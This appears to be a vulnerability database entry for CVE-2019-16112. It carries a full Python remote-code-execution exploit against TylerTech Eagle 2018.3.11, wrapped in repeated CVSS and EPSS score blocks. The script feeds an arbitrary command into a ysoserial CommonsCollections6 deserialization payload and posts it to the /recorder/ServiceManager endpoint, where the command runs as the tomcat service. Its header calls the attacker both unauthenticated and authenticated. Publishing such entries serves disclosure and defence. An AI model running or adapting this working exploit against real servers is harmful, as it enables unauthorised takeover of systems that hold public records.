CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
90.0%
# Exploit Title: TylerTech Eagle 2018.3.11 - Remote Code Execution
# Date: 2019-10-08
# Exploit Author: Anthony Cole
# Vendor Homepage: https://www.tylertech.com/products/eagle
# Version: 2018.3.11
# Tested on: Windows 2012
# CVE: CVE-2019-16112
# Category: webapps
#
# Eagle is a software written in Java by TylerTech. Version 2018.3.11 allows an unauthenticated attacker to cause the software to deserialize untrusted data that can result in remote code execution.
# /recorder/ServiceManager in TylerTech Eagle 2018.3.11 is vulnerable to remote code execution via deserialization of untrusted user input from an authenticated user. The executed code will run as the tomcat service that is running the application.
#
import sys, requests, zlib, argparse, urlparse, subprocess
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def run_command(command):
p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
output = b''
for line in iter(p.stdout.readline, b''):
output += line
return output
def isurl(urlstr):
try:
urlparse.urlparse(urlstr)
return urlstr
except:
raise argparse.ArgumentTypeError("invalid url")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Java Deserialization Exlpoit')
parser.add_argument("--url", "-u", type=isurl, required=True, help="the url of the target.")
parser.add_argument("--cmd", "-c", required=True, help="the command to execute")
parser.add_argument("--ysoserial", "-y", required=True, help="the path to ysoserial.jar")
parser.add_argument("--proxy", "-p", type=isurl, required=False, help="ex: http://127.0.0.1:8080")
args = parser.parse_args()
url_parts = urlparse.urlparse(args.url)
target_url = "%s://%s" % (url_parts.scheme, url_parts.netloc)
proxies = {}
if(args.proxy != None):
proxy_parts = urlparse.urlparse(args.proxy)
proxies[proxy_parts.scheme] = "%s://%s" % (proxy_parts.scheme, proxy_parts.netloc)
cmd = args.cmd
serial_payload = run_command('java -jar %s CommonsCollections6 "%s"' % (args.ysoserial, args.cmd))
url = target_url + "/recorder/ServiceManager?service=tyler.empire.settings.SettingManager"
headers = {'Content-Type': 'application/octet-stream'}
payload = zlib.compress(serial_payload)
response = requests.post(url, data=payload, proxies=proxies, verify=False)
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
90.0%